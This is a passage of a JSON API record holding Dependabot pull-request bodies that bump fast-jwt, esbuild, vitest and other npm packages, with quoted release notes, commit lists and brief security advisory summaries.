href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/gkeferstein/campus.mojo/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/gkeferstein/campus.mojo/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/gkeferstein%2Fcampus.mojo/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"4.0.5","new_version":"5.0.6","update_type":"major","path":null,"pr_created_at":"2025-10-20T23:54:59.000Z","version_change":"4.0.5 → 5.0.6","issue":{"uuid":"3534332614","node_id":"PR_kwDOOY69SM6uu5T0","number":2,"state":"closed","title":"Bump the npm_and_yarn group across 2 directories with 6 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2025-10-22T20:39:13.000Z","author_association":null,"state_reason":null,"created_at":"2025-10-20T23:54:59.000Z","updated_at":"2025-10-22T20:39:14.000Z","time_to_close":161054,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":6,"packages":[{"name":"esbuild","old_version":"0.20.2","new_version":"0.25.0","repository_url":"https://github.com/evanw/esbuild"},{"name":"vitest","old_version":"2.1.8","new_version":"2.1.9","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"5.0.6","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"tsup","old_version":"8.0.2","new_version":"8.3.5","repository_url":"https://github.com/egoist/tsup"},{"name":"rollup","old_version":"4.13.0","new_version":"4.18.0"},{"name":"vite","old_version":"5.4.14","new_version":"5.4.21"},{"name":"vitest","old_version":"2.1.8","new_version":"2.1.9","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"5.0.6","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 4 updates in the / directory: [esbuild](https://github.com/evanw/esbuild), [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest), [fast-jwt](https://github.com/nearform/fast-jwt) and [tsup](https://github.com/egoist/tsup).\nBumps the npm_and_yarn group with 2 updates in the /packages/backend directory: [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) and [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `esbuild` from 0.20.2 to 0.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.25.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThis release deliberately contains backwards-incompatible changes.\u003c/strong\u003e To avoid automatically picking up releases like this, you should either be pinning the exact version of \u003ccode\u003eesbuild\u003c/code\u003e in your \u003ccode\u003epackage.json\u003c/code\u003e file (recommended) or be using a version range syntax that only accepts patch upgrades such as \u003ccode\u003e^0.24.0\u003c/code\u003e or \u003ccode\u003e~0.24.0\u003c/code\u003e. See npm's documentation about \u003ca href=\"https://docs.npmjs.com/cli/v6/using-npm/semver/\"\u003esemver\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eRestrict access to esbuild's development server (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99\"\u003eGHSA-67mh-4wv8-2f99\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis change addresses esbuild's first security vulnerability report. Previously esbuild set the \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e header to \u003ccode\u003e*\u003c/code\u003e to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in \u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99\"\u003ethe report\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eStarting with this release, \u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS\"\u003eCORS\u003c/a\u003e will now be disabled, and requests will now be denied if the host does not match the one provided to \u003ccode\u003e--serve=\u003c/code\u003e. The default host is \u003ccode\u003e0.0.0.0\u003c/code\u003e, which refers to all of the IP addresses that represent the local machine (e.g. both \u003ccode\u003e127.0.0.1\u003c/code\u003e and \u003ccode\u003e192.168.0.1\u003c/code\u003e). If you want to customize anything about esbuild's development server, you can \u003ca href=\"https://esbuild.github.io/api/#serve-proxy\"\u003eput a proxy in front of esbuild\u003c/a\u003e and modify the incoming and/or outgoing requests.\u003c/p\u003e\n\u003cp\u003eIn addition, the \u003ccode\u003eserve()\u003c/code\u003e API call has been changed to return an array of \u003ccode\u003ehosts\u003c/code\u003e instead of a single \u003ccode\u003ehost\u003c/code\u003e string. This makes it possible to determine all of the hosts that esbuild's development server will accept.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDelete output files when a build fails in watch mode (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3643\"\u003e#3643\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIt has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix correctness issues with the CSS nesting transform (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3620\"\u003e#3620\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3877\"\u003e#3877\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3933\"\u003e#3933\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3997\"\u003e#3997\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4005\"\u003e#4005\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4037\"\u003e#4037\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4038\"\u003e#4038\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes the following problems:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eNaive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using \u003ccode\u003e:is()\u003c/code\u003e to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* Original code */\n.parent {\n  \u0026gt; .a,\n  \u0026gt; .b1 \u0026gt; .b2 {\n    color: red;\n  }\n}\n\u003cp\u003e/* Old output (with --supported:nesting=false) */\u003cbr /\u003e\n.parent \u0026gt; :is(.a, .b1 \u0026gt; .b2) {\u003cbr /\u003e\ncolor: red;\u003cbr /\u003e\n}\u003c/p\u003e\n\u003cp\u003e/* New output (with --supported:nesting=false) */\u003cbr /\u003e\n.parent \u0026gt; .a,\u003cbr /\u003e\n.parent \u0026gt; .b1 \u0026gt; .b2 {\u003cbr /\u003e\ncolor: red;\u003cbr /\u003e\n}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tim-we\"\u003e\u003ccode\u003e@​tim-we\u003c/code\u003e\u003c/a\u003e for working on a fix.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThe \u003ccode\u003e\u0026amp;\u003c/code\u003e CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered \u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e to have the same specificity as \u003ccode\u003e\u0026amp;\u003c/code\u003e. With this release, this should now work correctly:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* Original code (color should be red) */\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e9174d671b1882758cd32ac5e146200f5bee3e45\"\u003e\u003ccode\u003ee9174d6\u003c/code\u003e\u003c/a\u003e publish 0.25.0 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/c27dbebb9e7a55dd9a084dd151dddd840787490e\"\u003e\u003ccode\u003ec27dbeb\u003c/code\u003e\u003c/a\u003e fix \u003ccode\u003ehosts\u003c/code\u003e in \u003ccode\u003eplugin-tests.js\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/6794f602a453cf0255bcae245871de120a89a559\"\u003e\u003ccode\u003e6794f60\u003c/code\u003e\u003c/a\u003e fix \u003ccode\u003ehosts\u003c/code\u003e in \u003ccode\u003enode-unref-tests.js\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d\"\u003e\u003ccode\u003ede85afd\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/da1de1bf77a65f06654b49878d9ec4747ddaa21f\"\u003e\u003ccode\u003eda1de1b\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4065\"\u003e#4065\u003c/a\u003e: bitwise operators can return bigints\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/f4e9d19fb20095a98bf40634f0380f6a16be91e7\"\u003e\u003ccode\u003ef4e9d19\u003c/code\u003e\u003c/a\u003e switch case liveness: \u003ccode\u003edefault\u003c/code\u003e is always last\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7aa47c3e778ea04849f97f18dd9959df88fa0886\"\u003e\u003ccode\u003e7aa47c3\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4028\"\u003e#4028\u003c/a\u003e: minify live/dead \u003ccode\u003eswitch\u003c/code\u003e cases better\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/22ecd306190b8971ec4474b5485266c20350e266\"\u003e\u003ccode\u003e22ecd30\u003c/code\u003e\u003c/a\u003e minify: more constant folding for strict equality\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/4cdf03c03697128044fa8fb76e5c478e9765b353\"\u003e\u003ccode\u003e4cdf03c\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4053\"\u003e#4053\u003c/a\u003e: reordering of \u003ccode\u003e.tsx\u003c/code\u003e in \u003ccode\u003enode_modules\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/dc719775b7140120916bd9e6777ca1cb8a1cdc0e\"\u003e\u003ccode\u003edc71977\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3692\"\u003e#3692\u003c/a\u003e: \u003ccode\u003e0\u003c/code\u003e now picks a random ephemeral port\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.20.2...v0.25.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 2.1.8 to 2.1.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.9\u003c/h2\u003e\n\u003cp\u003eThis release includes security patches for:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5\"\u003eBrowser mode serves arbitrary files | CVE-2025-24963\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq\"\u003eRemote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ebackport \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/7317\"\u003evitest-dev/vitest#7317\u003c/a\u003e to v2 - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7318\"\u003evitest-dev/vitest#7318\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7340\"\u003e#7340\u003c/a\u003e to v2) restrict served files from \u003ccode\u003e/__screenshot-error\u003c/code\u003e - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7343\"\u003evitest-dev/vitest#7343\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c9e59a089d94642eea29a43f2ee1986a5afb99c6\"\u003e\u003ccode\u003ec9e59a0\u003c/code\u003e\u003c/a\u003e chore: release v2.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383\"\u003e\u003ccode\u003ee0fe1d8\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7317\"\u003e#7317\u003c/a\u003e to v2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7318\"\u003e#7318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v2.1.9/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 5.0.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to 